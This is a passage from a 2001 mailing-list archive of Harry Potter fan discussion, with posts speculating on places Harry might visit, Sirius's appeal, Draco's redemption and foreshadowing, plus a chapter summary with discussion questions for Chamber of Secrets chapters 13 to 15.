I dreamed the world had all agreed
to put an end to war."
--'60s peace movement song
________________________________




From caliburncy at yahoo.com  Mon Sep  3 13:56:02 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 03 Sep 2001 13:56:02 -0000
Subject: Where can Harry go?
In-Reply-To: <001101c1347e$0e9d5480$174e28d1@oemcomputer>
Message-ID: <9n025i+qsa@eGroups.com>

No: HPFGUIDX 25434

--- In HPforGrownups at y..., "Saitaina" <saitaina at w...> wrote:
> Why has no one thought of the Slytherin Common rooms?  They've been
> mentioned.  Could Voldemort hidden the key to his downfall in his 
old dorms,
> knowing that no Slytherin would try to use it?
> 
> Saitaina

Well, technically JKR said it was a place that had been mentioned, but 
we'd never seen before.  We have seen the Slytherin common room once 
before (albeit not in great detail) when Harry and Ron use the 
Polyjuice Potion to disguise themselves as Crabbe and Goyle in COS.  
So we may see the Slytherin common room again, but it's probably not 
the place JKR was referring to in this instance.

-Luke




From bkdelong at pobox.com  Mon Sep  3 14:07:43 2001
From: bkdelong at pobox.com (B.K. DeLong)
Date: Mon, 03 Sep 2001 10:07:43 -0400
Subject: [HPforGrownups] Anti-Harry Potter Video???
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B36@MIAEXCH1>
Message-ID: <5.0.2.1.2.20010903100708.00acb130@brain-stream.com>

No: HPFGUIDX 25435

At 06:25 PM 09/02/2001 -0400, you wrote:
>I believe the-leaky-cauldron.org has written on this video a bit, including
>links to articles in a florida paper about it. BK, any links?

Ask and ye shall receive:
http://www.the-leaky-cauldron.org/2001_08_19_archive.html#5197006


--
B.K. DeLong

The Harry Potter Galleries
http://www.hpgalleries.com/

Editor-in-Chief
The Leaky Cauldron News section
bkdelong at the-leaky-cauldron.org
http://www.the-leaky-cauldron.org/
+1.617.877.3271






From A.E.B.Bevan at open.ac.uk  Mon Sep  3 14:07:33 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Mon, 03 Sep 2001 14:07:33 -0000
Subject: Wizard demographics?
In-Reply-To: <3.0.5.32.20010903001632.009e9b00@di.org>
Message-ID: <9n02r5+10ne5@eGroups.com>

No: HPFGUIDX 25436

If I remember righly, when the Muggle Prime Minister has to be 
briefed about Sirius Black there is a reference indicatimg  that the 
MoM in Britain is responsible to some International Wizarding body.

Maybe we will hear more of this?

>>>>>>>
BlueEyedTigress wrote
> Will we eventually see the magical community on a global scale in 
these books? 
<<<<<<<

Edis 






From frantyck at yahoo.com  Mon Sep  3 15:12:31 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Mon, 03 Sep 2001 15:12:31 -0000
Subject: Wizard demographics?
In-Reply-To: <3.0.5.32.20010903001632.009e9b00@di.org>
Message-ID: <9n06kv+cb7t@eGroups.com>

No: HPFGUIDX 25437

--- In HPforGrownups at y..., Elbereth <elbereth at d...> wrote:
> If we can take Europe as typical, then we can expect approximately 
three
> schools of witchcraft & wizardry per continent -- and I am more than
> willing to entertain conjectures that there might be fewer in 
Australia and
> more in North America, simply by virtue of population base.  Six 
habitable
> continents, times three (on average) schools per continent, gives us
> eighteen schools.  Call it twenty, round numbers are more 
attractive.  ;-]


Three schools per continent doesn't sound quite right: there are 
fifty times as many people in Asia as there are in England. You'd 
never fit all those pupils into three schools.

What I'd love to hear about is the way in which African, Chinese, 
Indian and Japanese magical traditions differ from European ones. I 
heard mention somewhere in the books (or was it in fanfic) about 
flying carpets being exotic magical items, and those Egyptian wizards 
did extreme things to the tombs. English witches and wizards *are* 
Englishmen and women, no doubt about that, so other magical people 
must have very independent magical traditions and culture.

Then there's the whole question of international wizarding politics. 
And -- why is it that magical people don't feel a sense of 
stewardship towards Muggles in unfortunate parts of the world? The 
health of one affects the health of the other, surely?

Etc. Probably OT, but interesting.

Rrishi




From maryblue67 at yahoo.com  Mon Sep  3 15:17:08 2001
From: maryblue67 at yahoo.com (Maria)
Date: Mon, 3 Sep 2001 08:17:08 -0700 (PDT)
Subject: [HPforGrownups] Re: Dueling Club/Sirius's Appeal/Plotlines I'd like to see/Tournament
In-Reply-To: <9mucpa+91un@eGroups.com>
Message-ID: <20010903151708.41507.qmail@web11101.mail.yahoo.com>

No: HPFGUIDX 25438


--- cynthiaanncoe at home.com wrote:
> --- In HPforGrownups at y..., "Mindy, a.k.a. CLH"
> <mindyatime at j...> 
> wrote:
> > 
> > How come so many of
> > you listies are sooo ga-ga over Sirius? While I like
> his character, 
> he
> > comes across to me as a whispy, filthy, grimy,
> emaciated skeleton. 
> He
> > doesnt have any outer appeal; why are so many of you
> 'crazy' about 
> him?
> > 
> > 
> 
> What's not to like?  In terms of characterization, Sirius
> has it all:
> 
> 1.  Smart:  One of the cleverest at Hogwarts.
> 2.  Sympathetic:  Spent a dozen years locked up for
> something he 
> didn't do.
> 3.  Suffering untold guilt:  He pays every day for making
> Peter the 
> Secret Keeper, which cost his best friend his life.
> 4.  Honorable:  after his escape, he risks everything to
> make sure 
> Harry is not endangered.
> 5.  Understanding:  Genuine attempts to fulfill the role
> of father 
> figure for Harry.
> 6.  Strong:  Able to survive Azkaban and escape.
> 7.  Theatrical:  He knows how to make an exit (see quote
> below).
> 
> For me, these inner personality traits more than
> compensate for 
> Sirius' rather scruffy personal appearance.
> 

In addition, when Harry sees his picture in the album next
to his father at the wedding, and when they comunicate
through the fire, he is depicted as as pretty good looking
guy (when he is clean, healthy and looking somehow happy).


=====
Maryblue
----------------------------------------------------------
"Gravitation cannot be held responsible for people falling
in love" - Eistein

__________________________________________________
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From jkusalavagemd at yahoo.com  Mon Sep  3 15:37:54 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Mon, 03 Sep 2001 15:37:54 -0000
Subject: Where can Harry go?
In-Reply-To: <9mujj7+tjms@eGroups.com>
Message-ID: <9n084i+fsmn@eGroups.com>

No: HPFGUIDX 25439

--- In HPforGrownups at y..., morsethanatos at y... wrote:
> JKR mentioned in one of the interviews that he will visit a few of 
> the magical  places mentioned in the books. That got me to try and 
> recall what the places mentioned in the books are. Shamefully I have 
> not come up with anything besides Godric's hollow, M..O.M., Azkaban 
> and Malfoy's house(but somehow I doubt he would go there).  What did 
> I forget?

I think one could make a case for visiting Durmstrang in order to save 
those students who have in all probability been abandoned by 
Karkaroff, and who need a safe haven at Hogwarts.  It would also give 
us an opportunity to see Viktor Krum once again.

Haggridd




From snyderm at engr.sc.edu  Mon Sep  3 15:42:29 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Mon, 3 Sep 2001 11:42:29 -0400 
Subject: [HPforGrownups] Re: Malfoy's Redemption
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789A9A@mailbox.engr.sc.edu>

No: HPFGUIDX 25440

Hi, I am new to this list. I wanted to comment about the last e-mail.  

I think you have a point, but I here is another senario.  We know that Draco
is a spoiled rich boy who looks after his own satisfaction before others.
But looking at the scene in CoS where Draco and his father are in Knockturn
Alley, we can see that Draco's father puts a lot of pressure on him.  This
may be a foreshadowing clue into why Malfoy is the way he is as well as
provide some sympathy for him (no matter how small).  It also maybe that
Draco doesn't turn to the dark side out of spite for his father.  Teenaged
agnst can be pretty awful especially for a father who isn't ever pleased
with what you do.

Just something to think about.

Leslie

-----Original Message-----
From: meboriqua at aol.com [mailto:meboriqua at aol.com]
Sent: Saturday, September 01, 2001 9:46 PM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Re: Malfoy's Redemption


--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:

  Whatever charitable impulses I  might have for a person like Draco, 
as a character in a narrative, JKR has created Draco without any good 
side.  There has been no  foreshadowing of his redemption in the books 
to date.>

I think there has been foreshadowing not necessarily of Draco's 
redemptiom, but of his inability to deal with tough situations.  He 
can't hang with the big boys, IMO.  Running from the Forbidden Forest, 
crying and moaning from a scratch (which he provoked) from Buckbeak, 
and always, ALWAYS running to Daddy are NOT signs of someone who could 
torture Muggles or wear the Dark Mark for all it signifies.  

I just thought of this:  perhaps Draco won't be redeemed and fight by 
Harry's side, but he may not turn to the Dark Side either.  I can see 
him losing his father and becoming bitter and angry, but not wanting 
to turn to Harry's side as a result.  Draco could be neither good nor 
bad; just someone damaged and unhappy.  He could end up being trapped 
in his own mind, his own Dementor.

--jenny from ravenclaw *********************************



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From snyderm at engr.sc.edu  Mon Sep  3 15:46:12 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Mon, 3 Sep 2001 11:46:12 -0400 
Subject: [HPforGrownups] Re: Where can Harry go?
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789A9C@mailbox.engr.sc.edu>

No: HPFGUIDX 25441

What about to Lupins house, where ever that is?  At the end of GoF,
Dumbledore asks Sirius to lie low there for awhile.  We know from another
interview that lupin will be back in this book (I think).  Maybe Harry will
go there for a little bit of the summer.

Leslie



--- In HPforGrownups at y..., morsethanatos at y... wrote:
> JKR mentioned in one of the interviews that he will visit a few of 
> the magical  places mentioned in the books. That got me to try and 
> recall what the places mentioned in the books are. Shamefully I have 
> not come up with anything besides Godric's hollow, M..O.M., Azkaban 
> and Malfoy's house(but somehow I doubt he would go there).  What did 
> I forget?

I think one could make a case for visiting Durmstrang in order to save 
those students who have in all probability been abandoned by 
Karkaroff, and who need a safe haven at Hogwarts.  It would also give 
us an opportunity to see Viktor Krum once again.

Haggridd



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From snyderm at engr.sc.edu  Mon Sep  3 16:14:22 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Mon, 3 Sep 2001 12:14:22 -0400 
Subject: [HPforGrownups] Death in the Magical World
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789A9E@mailbox.engr.sc.edu>

No: HPFGUIDX 25442

In an interview JKR said that early on she had to decide what magic could
and could not do.  A magical science if you will. She decided that magic
cannot bring someone back to life.  I don't remember the exact interview,
but I know that is what she said.  As a scientist, I found it interesting
that even in magic there are rules that cannot be broken.

Leslie

-----Original Message-----
From: Mindy, a.k.a. CLH [mailto:mindyatime at juno.com]
Sent: Sunday, September 02, 2001 11:17 AM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Death in the Magical World


I find it rather interesting that there is no spell that can reverse
death in the Hogwarts World. Magic should be infallible. Raising people
from the dead should be something that should be worked out by these
amazing wizards. I am puzzled by this -- only perhaps this is so, because
the plotlines would be endless and readers would be clamoring for every
second character to be killed and every third character to ressurect one
of them.
________________________________________________________________
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From snyderm at engr.sc.edu  Mon Sep  3 16:24:28 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Mon, 3 Sep 2001 12:24:28 -0400 
Subject: [HPforGrownups] Hermione
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789A9F@mailbox.engr.sc.edu>

No: HPFGUIDX 25443

Well, I don't think that she is descirbed as a homely girl in the books
either.  I think of her rather as a girl blossoming.  I refer to the Yule
Ball as evidence.  With a little hair gel, teeth fixed, etc. she transformed
into a pretty girl (in Harry's own words).  She even caught Malfoy's
attention.  Just because she doesn't take the time to do herself up
everyday, doesn't mean she isn't pretty.

Leslie

-----Original Message-----
From: chiizu_cheese at yahoo.com [mailto:chiizu_cheese at yahoo.com]
Sent: Sunday, September 02, 2001 9:33 PM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Hermione


Has anybody noticed that Hermione is described as a homely girl, yet 
in the movie she seems to be a very pretty girl? Hrmmm.....I just 
thought that was really odd.



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From cynthiaanncoe at home.com  Mon Sep  3 17:03:38 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 03 Sep 2001 17:03:38 -0000
Subject: Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9mueuk+dnd4@eGroups.com>
Message-ID: <9n0d5a+tob2@eGroups.com>

No: HPFGUIDX 25444

--- In HPforGrownups at y..., caliburncy at y... wrote:
> But 
> I wanted a single, good example of first-time foreshadowing AT IT'S 
> VERY BEST.  
Luke, 

If you're still out there, I'm wondering about 
foreshadowing/misdirection in the books.  There are times when JKR 
foreshadows (first-time), but then seems to use something 
(misdirection?  author prophesy?) to throw us off the trail.  

Best example that occurs to me is the Grim in PoA.  We are told again 
and again that Harry sees a black dog, then nearly gets killed.  But 
we are also told early and often that Trelawney (who speaks often of 
the Grim) is a fraud.  We also have Harry seeing a Grim in a book in 
Diagon Alley, which suggests that it really is a death omen.  I doubt 
anyone guessed that Sirius was the Grim, so what are the techniques 
that make this storyline work?

Cindy





From klhurt at yahoo.com  Mon Sep  3 17:34:33 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Mon, 3 Sep 2001 10:34:33 -0700 (PDT)
Subject: [HPforGrownups] Where can Harry go?
In-Reply-To: <9mujj7+tjms@eGroups.com>
Message-ID: <20010903173433.26904.qmail@web14201.mail.yahoo.com>

No: HPFGUIDX 25445

Godric's Hollow
Ministry of Magic
Azkaban
Malfoy's house
St. Mungo's Hospital***
Egypt
Romania
Durmstrang
Beauxbatons
Hermione's house
Other schoolmate's house
Lupin's house
Chamberpot Room (or other castle area)
the future
Smeltings
Aunt Marge's

***I think this is very likely.  In an interview, JKR was asked where
Lockhart is now.  She answered St. Mungo's.  When asked if we would see
him again, she said "I can't tell you that" which sounds like a 'yes'
to me.  If the Trio goes to the hospital, they might also see the
Longbottoms.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Mon Sep  3 17:42:54 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Mon, 3 Sep 2001 10:42:54 -0700 (PDT)
Subject: Perspective
In-Reply-To: <9mumvj+r02q@eGroups.com>
Message-ID: <20010903174254.66128.qmail@web14205.mail.yahoo.com>

No: HPFGUIDX 25446

--- chiizu_cheese at yahoo.com wrote:

>I think JKR is trying to keep the book
>in the 2nd-person perspective. The
>only time she has wondered from that
>perspective is in Harry's dreams.

The first chapter of PS/SS is definitely *not* from Harry's
perspective.  The Snape-refereed Quidditch match in SS/PS has the fight
in the stands.  Also, the first Quidditch match has the bit where
Hermione set fire to Snape's robes.

Most of the information given in Chap 1 of GoF (e.g. Frank's history)
is *not* from Harry's perspective and is *not* part of his dream.

Kelly the Yarn Junkie

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From sundancekid at mail.com  Mon Sep  3 17:52:08 2001
From: sundancekid at mail.com (Allison)
Date: Mon, 03 Sep 2001 17:52:08 -0000
Subject: CHAPTER SUMMARIES/DISCUSSION - CH. 13-15, CoS
Message-ID: <9n0g08+8uel@eGroups.com>

No: HPFGUIDX 25447

Chapter 13 - The Very Secret Diary

Chapter 13 starts off with Hermione in the hospital just after the 
Polyjuice Experiment goes awry.  Lots of people assume she's been 
attacked by the Heir of Slytherin, and come by the hospital wing to 
try and see her.  Harry and Ron come to visit every day, bringing all 
her homework.  Ron discovers, much to his disgust and Hermione's 
embarrassment, a frightfully stuck-up get well card from Lockhart, 
prompting one of Ron's most insightful remarks to date: "Is Lockhart 
the smarmiest bloke you've ever met, or what?".  

On the way back to the common room, they hear Filch shouting about 
having more work to do because Moaning Myrtle's bathroom has 
flooded.  They decide to investigate and discover Myrtle is more 
upset than usual because someone threw something at her: a small, 
thin book with a shabby black cover (dun dun dun).  Harry goes to 
pick it up, but Ron tries to stop him, saying the book could be 
dangerous, recounting several real-life examples from Mr. Weasley's 
work.  Harry picks it up anyway, and finds the diary belonged to 
a "T.M. Riddle," distinguished for both his special services to the 
school fifty years ago and having a slug-covered plaque in the Trophy 
Room.

In February, Hermione leaves the hospital wing, "de-whiskered, tail-
less, and fur-free."  She suspects the diary might have hidden 
powers.  When Harry wonders aloud what Riddle got an award for, 
Hermione brings up the point that Riddle could have caught the Heir 
of Slytherin (has the idea of Hermione being a Seer ever been 
mentioned?), and goes through several different processes trying to 
find any hidden writing in it, all of which fail.

Harry, despite Ron's protests, keeps the diary, occasionally looking 
through it as if expecting to find writing.  He feels like he used to 
know Riddle, as if he'd been an old childhood friend, but "he'd never 
had any friends before Hogwarts, Dudley had made sure of that."  
(Isn't that the saddest thing you've ever heard?  Poor Harry.)

Soon, the sun begins to shine and with it, spirits rise.  There are 
no new attacks, Professor Sprout reports the Mandrakes are growing 
right on target, and, most reassuring of all, Lockhart is convinced 
the Heir gave up because he knew it was only a matter of time before 
Lockhart caught him. 

However, Ernie Macmillan is still convinced Harry is the Heir of 
Slytherin, and Peeves has added a dance routine to his "Oh, Potter, 
you rotter," song.

Lockhart decides the school needs a morale-booster, in the form of 
tacky, overdone Valentine decorations, complete with singing dwarves.

Harry receives a singing Valentine, with really clever lyrics, in 
front of everyone -  to Harry's mind, the equivalent on the 
embarrassment-o-meter to showing up in class naked.  Ginny, Draco, 
and Percy are all on hand to witness the spectacle.  Draco picks up 
the diary when it spills out of Harry's bag along with all his other 
stuff, and Harry gets it back by performing an illegal Disarming 
Spell in the corridor, which Percy then feels forced to report.  A 
sullen Draco then makes a snide comment to Ginny about the 
Valentine.  Ginny, in the throes of adolescent humiliation, runs 
off.   

In Charms, Harry notices that while all his other books are covered 
in scarlet ink from his broken ink bottle (even his ink is in a House 
color - taking the House pride a bit far, ain't it?), the diary is 
completely dry.  

Harry goes to bed early so he can examine the diary.  He writes his 
name in it, and the ink disappears, coming back in a message from Tom 
Riddle.  They talk/write, and Riddle tells Harry that he did catch 
the Heir, and created the diary to preserve his knowledge, because he 
knew the Heir would strike again (imagine that *snorts*).  He invites 
Harry to view the scene by coming into the diary.  Harry does so, not 
putting a whole lot of thought into it beforehand.

Fast forward (or is it rewind?) to June 13th, 1942.  Riddle asks 
permission to stay at Hogwarts during the summer, permission denied, 
so he goes and waits in an abandoned dungeon for a thirteen-year-old 
Hagrid - running into a suspicious, red-headed, hundred-year-old 
Dumbledore along the way.  Hagrid soon comes into the dungeon to feed 
his adorable baby spider who "wouldn'!  Never!" hurt a soul.  Riddle 
is about to kill the spider, so it seems, when it lunges.  He 
recovers, aims again, but Hagrid leaps at him (how did scrawny Riddle 
even *survive* that?), and Harry is whirled back into the present, 
now knowing why Hagrid was expelled and believing he opened the 
Chamber.

Chapter 14 - Cornelius Fudge

The Trio is very upset with Harry's discovery and none of them really 
want to believe it.  They decide not to say anything to Hagrid about 
it because there haven't been any attacks in so long.  Things are 
actually looking up: Peeves quits singing "Oh, Potter, you rotter," 
Ernie asks Harry to pass the toadstools, and the Mandrakes are very 
nearly grown up.

The second years are given the daunting task of deciding what extra 
classes they want to take third year, which causes no end of 
frustration.  Hermione signs up for everything, completely unaware 
she's going to provide the solution to a problem which will present 
itself a year later, and Harry just signs up for the same things as 
Ron.

Wood insists on practicing Quidditch every day for the next match 
against Hufflepuff.  Harry comes in from practice one day to discover 
his one-fifth of the room has been searched, and Riddle's diary is 
now missing.  This is especially disconcerting in light of the fact 
only a Gryffindor could have gotten into the dorm to steal the book.

The next day is the Quidditch match.  On his way out of breakfast, 
Harry hears the voice in the walls again, whispering all sorts of 
violent, nasty things.  A lightbulb goes off over Hermione's head and 
she rushes off to the library to document her epiphany, thereby 
committing the cardinal sin of missing the Quidditch match.

Said Quidditch match gets canceled before it ever gets a chance to 
start because there has been a double attack.  Hermione and a 
Ravenclaw (later revealed to be prefect Penelope Clearwater, also 
Percy's girlfriend) were Petrified near the library, WITH a small 
mirror was found next to them.

After the attack, a huge security crackdown ensues.  Students are 
escorted everywhere by teachers, much like preschoolers, Quidditch is 
cancelled, and no one is allowed to leave the dorms in the evenings.  

The threat of having to close the school down angers and scares many 
students, especially the Gryffindors, who have had the most 
causalities.

Harry and Ron decide they have to talk to Hagrid, and the only way to 
do so is to use Harry's Invisibility Cloak.  They sneak out at night 
to Hagrid's hut.  A very scared and paranoid Hagrid greets them with 
crossbow - he's "bin expectin' -", but never says what.  He's very 
distracted, and feeling really upset about Hermione.

Dumbledore then arrives, followed by Minister of Magic Cornelius 
Fudge, dressed like he lost a bet.  Fudge, in a brilliant display of 
incompetent leadership, has come to take Hagrid to Azkaban, over 
Dumbledore's protests.

Enter a smug Lucius Malfoy, come to make sure Dumbledore gets what's 
not coming to him.  He insults Hagrid, deposes Dumbledore, and does a 
really bad job of pretending to be sympathetic to the plight of 
Muggle-born students.

Dumbledore agrees to go with him, parting with a patented cryptic 
remark about not being truly gone until no one at Hogwarts is loyal 
to him any longer.

Hagrid is then led away, but he says that if someone wanted to know 
what was really going on, all they'd have to do is follow the spiders.

The chapter ends with Harry and Ron being understandably worried.  
With Dumbledore gone, as Ron remarks, "There'll be an attack a day."

Chapter 15 - Aragog

Summer is beginning, but it doesn't look right to Harry without 
Hagrid "striding the grounds with Fang at his heels."  Things are no 
better indoors without Dumbledore.  Madam Pomfrey won't let them see 
Hermione, they can't find any spiders to follow Hagrid's lead, 
Draco's being even more pompous than usual, and Lockhart's convinced 
he's behind the capture of the Heir.

In Herbology, Harry sees some spiders, headed for the Forbidden 
Forest.  Harry and Ron make plans to go to the Forbidden Forest that 
night, though Ron is nervous about it.

They use the Invisibility Cloak again, also taking Fang.  They follow 
the spiders into the Forest, going farther in then Harry's ever been 
before (all one times).  Fang barks, and Harry hears something 
moving - something big.  Suddenly, a bright light flares, and they 
realize it's the Weasley's car, gone feral.  They're preparing to 
keep going when Ron freezes in fear.  Harry hears a loud clicking 
behind him, and suddenly he's swept up and into the forest.  He's 
being clutched by two huge black pincers, which are attached to a 
huge black spider.  Ron and Fang have also been captured, and all 
three are taken to a hollow where huge spiders the size of carthorses 
live.  The king of the giant spiders is called Aragog, an even 
bigger, blind spider, and tells the others to kill Harry, Ron, and 
Fang until Harry says they're friends of Hagrid's.  Aragog was the 
monster Hagrid got expelled for having, and was believed to have been 
behind all the attacks.  He tells Harry his story: A delightfully 
maternal Hagrid raised him from an egg, feeding him scraps and 
keeping him hidden.  He protected Aragog when he was expelled, found 
him a wife (for which we're all eternally grateful), and still comes 
to visit him.  Out of respect for Hagrid, Aragog never harmed a 
human, but he does know what sort of monster did kill the girl - the 
sworn enemy of the spiders, whose name he refuses to reveal.  Aragog 
plans to feed Harry, Ron, and Fang to his children, but they are 
saved by Mr. Weasley's car, who heroically swoops in, scoops them 
into its interior, and zooms off.

Ron is furious with Hagrid, but Harry considers their near-death 
experience at least a partial success: They now have the word of a 
man-eating spider Hagrid did not open the Chamber.  They reach the 
castle unharmed, and make it back to the common room without being 
spotted.  Ron promptly falls asleep, but Harry stays awake, thinking 
about the Chamber.

He wakes Ron up, reminding Ron that the girl who died did so in the 
bathroom.  Ron follows Harry's train of thought and realizes that the 
victim was most likely Moaning Myrtle.

And so ends the chapter.

Questions:
Ch.13
1) Why do so many people come by the hospital wing to see Hermione?  
Actual concern for her or morbid curiosity about a potential 
Petrification victim?

2) On the "Ron-turning-traitor" front: When Harry attempts to pick up 
the diary, Ron's first thought is not curiosity about what sort of 
book someone would choose to throw at Myrtle, but fear for Harry's 
safety.  Discuss.

3) Does anyone think Flitwick really knows anything about Entrancing 
Enchantments, apart from a purely academic standpoint?  I'm just 
curious - I have a hard time reconciling my mental image of Flitwick 
to a "sly old dog."

4) Hermione is a Very Smart Witch.  Why on earth, then, does she like 
*Lockhart*? 

5) Harry says "There wasn't the faintest trace of writing on any of 
them, not even... 'dentist, half-past three.'"  A logistical 
question: How does one visit the dentist while at Hogwarts?  Is Madam 
Pomfrey trained in dental charms?

6) Ginny, it seems, did give Harry the Valentine.  Did she do so 
because she liked him, or did she do it under the influence of 
Riddle, for some reason no one can fathom because we aren't quite 
that evil?

7) Harry never thinks of Riddle as "Tom," but always "Riddle," even 
before he (Harry) realizes who he (Riddle) really is.  Is JKR setting 
the reader up for Riddle's real identity by not having Harry think of 
him in more familiar terms?  (In the diary, Riddle calls Harry "Harry 
Potter," and either "Harry" or "Harry Potter" during their 
confrontation at the end of the chapter.)

8) Harry never gets to see how Hagrid is captured and Aragog 
escapes.  Guesses?

Ch. 14
9) Fudge - secretly evil or just a moron?

10) Lucius does a really terrible job of covering up his real 
feelings regarding blood purity.  Why?  Perhaps he's more in contact 
with Voldie than we're aware of?  Is he counting on Riddle's ability 
to control Ginny permanently?  Does he assume it's safe, with 
Dumbledore temporarily out of commission?  How can he underestimate 
Dumbledore that much?

11) This marks the second time Dumbledore has known Harry was there 
even though Harry was wearing an Invisibility Cloak.  How?  Perhaps 
there's more to Dumbledore's half-moon glasses than meets the eye?  
This also opens up a possible glasses connection - we know Harry's 
glasses/eyes are important - what about Dumbledore's?

12) Why do people think the Heir of *Slytherin* is someone from 
another House?  First Harry, then Hagrid.  Am I the only one who 
thinks this makes no sense?

Ch. 15
13) Out of respect for Hagrid, Aragog claims he never harmed a soul.  
Yet he "cannot deny them [his children] fresh meat," and would 
willingly feed Hagrid's friends, who sought the spiders out to help 
Hagrid, to his children.  How does he justify this?

14) There are several instances of possible foreshadowing in these 
chapters: 
*The comparison of Percy to Riddle
*Hagrid's penchant for Big Scary Things once again places the Trio in 
danger.  As Ron says, "He always thinks monsters aren't as bad as 
they're made out, and look where it's got him!"  This doesn't just 
apply to beasts - could Hagrid's trusting nature put him or Harry in 
danger?  After all, isn't one of Harry's biggest fans supposed to die?
*Ron's abilities as a Seer: his fear the book could be dangerous 
turns out to be true, in a way.  He jokes that maybe Riddle murdered 
Myrtle - this turns out to be true.  Discuss all.  (Ack!  I sound 
like a teacher.  Apologies.)

15) Pointless Silly Question: Which would you prefer: having to speak 
in limericks for the rest of your life, or never being able to stop 
reading?

Sorry if this is really long - wasn't sure what was considered 
an "appropriate length," so I took the school paper route - when it 
doubt, ramble.

And Neal, sorry I didn't sign up for the essay too - blame school, 
which takes more time away from HP than should be allowed.

All right, I'll shut up now and go study for physics.

Allison




From shall at sfiweb.demon.co.uk  Mon Sep  3 18:32:38 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Mon, 3 Sep 2001 19:32:38 +0100
Subject: [HPforGrownups] Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9mu8t8+t4ie@eGroups.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKCEDHDMAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 25448

Cindy, referring to foreshadowing, said

>Consider Crouch/Moody.  We get two tiny
direct clues (that I recall) that Moody is not himself.  One is the
>bouncing ferret business.  The second is in Padfoot Returns, when Ron
says that Dumbledore is smart, but a really clever dark wizard could
>fool him.  Everything else, IMHO, fits perfectly with the little we
know about Moody, or seems so unrelated to Moody that it isn't
possible to piece the facts together (e.g., Crouch searching Snape's
>office).

I actually think the Draco transfiguration business was a brilliant piece of
applied psychology on the part of Crouch/Moody.  It immediately established
his credentials with everyone who might be otherwise inclined to ferret out
any suspicious circumstances [sorry!] in his impersonations.  The real Moody
probably wouldn't have done it (though Filch's comment that "it's a pity
they let the old punishments die out..hang you by your wrists from the
ceiling for a few days, I've got the chains in my office, keep 'em well
oiled in case they're ever needed..." suggests that the Dippet regime went
in for some startling applications of corporal punishment, and presumably
Moody was from that sort of generation) but the fake Moody doing it
(1) establishes him as a maverick hero in the eyes of Ron, Harry, Fred,
George and anyone else who dislikes Draco (so about 3/4 of Hogwarts, then) ;
(2) establishes him as a vengeful Auror still out after suspected Death
Eaters in the eyes, paws, ears and whiskers of Draco;
(3) neatly befuddles most of the readership into going along with beliefs 1)
and 2) even though we should have been alert for it after SS/PS when JKR
pulled off the same trick in reverse ie conned us  into "Snape is beastly to
Harry; Harry is the hero; therefore Snape is the villain".  In retrospect,
it's hard to believe we fell for it again (Secondary foreshadowing with a
master's touch) but there it was "MadEye is beastly to Draco - and how!
Draco is a horrid little brat and Harry's enemy; therefore MadEye is
*coooool*" - does this woman play poker?

Susan






From Indyfans at aol.com  Mon Sep  3 18:49:01 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Mon, 3 Sep 2001 14:49:01 EDT
Subject: [HPforGrownups] Re: Dueling Club/Sirius's Appeal/Plotlines I'd like to se...
Message-ID: <8d.bfd2536.28c52a9d@aol.com>

No: HPFGUIDX 25449

I agree!  Anyone who has any years on them, and a bit of wisdom, knows 
there's a heck of alot more to a person than looks.  A bad personality can 
make a beautiful person ugly.   Good traits like you mentioned make a guy 
very appealing.  I hope sometime in the series Sirius and Lupin find true 
happiness.



From Indyfans at aol.com  Mon Sep  3 18:51:55 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Mon, 3 Sep 2001 14:51:55 EDT
Subject: [HPforGrownups] RE: Sirius's Appeal
Message-ID: <135.115c6d4.28c52b4b@aol.com>

No: HPFGUIDX 25450

Monika, I agree!  A handsome guy can become quite ugly with a bad 
personality.  Conversely,  a guy can become very attractive with terrific 
traits!   Anyone who's lived a few years and gotten a bit of wisdom knows 
that, hopefully!  Plus, Surius IS good looking, judging from the photo album 
Harry has.  I think you're right, you either get it with Sirius, or you 
don't.  I get it!  Daisy



From quite_serious at hotmail.com  Mon Sep  3 19:42:52 2001
From: quite_serious at hotmail.com (quite_serious at hotmail.com)
Date: Mon, 03 Sep 2001 19:42:52 -0000
Subject: Where are those two extra girls?
Message-ID: <9n0mfs+actq@eGroups.com>

No: HPFGUIDX 25451

I've just come across this newsgroup. The FAQ makes for fascinating
reading! Anyway, while browsing through it I noticed a reference to
two extra girls being present at the Boggart lesson. I'm afraid I
don't see them at all in my edition (A late American one.) 

I'm guessing that they're supposed to be behind the scene where the
boggart turns into a rat, a snake, and an eyeball. However, to me that
paragraph reads as if the boggart is just acting confused -- and Lupin
seems to agree, as he says so immediately afterwards. Every time
someone actually tackles the Boggart, we get to see the actual
Riddikulus-caused ridiculous transformation.

Anyone else get this reading?

Hyphen


PS. In case anyone is interested, here is my take on the
size-of-Hogwarts question: it's not that JKR can't do math, but that
there is a genuine inconsistency written into the books to make
effective storytelling easier. Just imagine how the books would change
if the author had to deal with 30+ Gryffindors, and mention each one
as often as common-sense dictates. There's just not enough space in
the books to develop most of them the way JKR develops even her most
incidental characters. There would be many inconsequential, repetitive
